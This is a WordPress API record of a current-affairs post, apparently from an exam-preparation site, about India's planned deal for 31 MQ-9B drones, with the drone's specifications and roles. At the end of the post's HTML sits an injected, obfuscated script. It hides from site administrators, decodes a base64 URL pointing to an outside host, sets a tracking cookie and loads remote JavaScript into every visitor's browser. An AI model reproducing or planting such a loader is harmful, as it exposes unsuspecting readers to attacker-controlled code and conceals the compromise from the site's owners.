{"id":64,"date":"2023-10-24T09:42:41","date_gmt":"2023-10-24T09:42:41","guid":{"rendered":"https:\/\/iasquest.com\/?p=64"},"modified":"2026-02-11T19:34:46","modified_gmt":"2026-02-11T19:34:46","slug":"mq-9b-unmanned-aerial-vehicles-uavs-deal","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/mq-9b-unmanned-aerial-vehicles-uavs-deal\/","title":{"rendered":"MQ-9B Unmanned Aerial Vehicles (UAVs) deal"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>IN NEWS<\/strong>: India is likely to sign a deal with the U.S. for 31 MQ-9B drones by February 2024.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MQ-9B Unmanned Aerial Vehicles (UAVs) deal<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li style=\"font-style:normal;font-weight:900\"><strong>The deal for 31 MQ-9B Unmanned Aerial Vehicles (UAVs) with the U.S. is expected to be concluded by February 2024, and deliveries will begin in February 2027, three years from the signing of the contract.<\/strong><\/li>\n\n\n\n<li>The UAV maker General Atomics (GA) is scheduled to establish a global maintenance, repair, and overhaul facility in India. But its location has not yet been finalized, the source said, adding that it could likely be Bengaluru.<\/li>\n\n\n\n<li>In June, the Defence Ministry cleared the procurement of 31 MQ-9B UAVs from GA, including 15 Sea Guardians for the Navy and eight Sky Guardians each for the Army and the Air Force, at an estimated cost of $3,072 million through the U.S. Foreign Military Sales (FMS) route.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The MQ-9B has the following specifications:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Speed of <strong>240 KTAS<\/strong>, or approximately <strong>299 miles per hour<\/strong><\/li>\n\n\n\n<li>Altitude of approximately <strong>50,000 feet<\/strong><\/li>\n\n\n\n<li>Can remain airborne for over 35 hours<\/li>\n\n\n\n<li>Can carry four Hellfire missiles and around 450 kg of other bombs.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The MQ-9B has the following capabilities:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Taking out enemy targets with high accuracy<\/li>\n\n\n\n<li>Conducting maritime ISR operations, including:\n<ul class=\"wp-block-list\">\n<li>Humanitarian assistance and disaster relief<\/li>\n\n\n\n<li>Search and rescue<\/li>\n\n\n\n<li>Law enforcement<\/li>\n\n\n\n<li>Anti-surface warfare<\/li>\n\n\n\n<li>Anti-submarine warfare<\/li>\n\n\n\n<li>Airborne mine countermeasures<\/li>\n\n\n\n<li>Long-range strategic ISR<\/li>\n\n\n\n<li>Over-the-horizon targeting<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>IN NEWS: India is likely to sign a deal with the U.S. for 31 MQ-9B drones by February 2024. MQ-9B [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":80,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[11],"tags":[],"class_list":["post-64","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-prelims"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/64","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=64"}],"version-history":[{"count":4,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/64\/revisions"}],"predecessor-version":[{"id":3625,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/64\/revisions\/3625"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/80"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=64"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=64"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=64"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}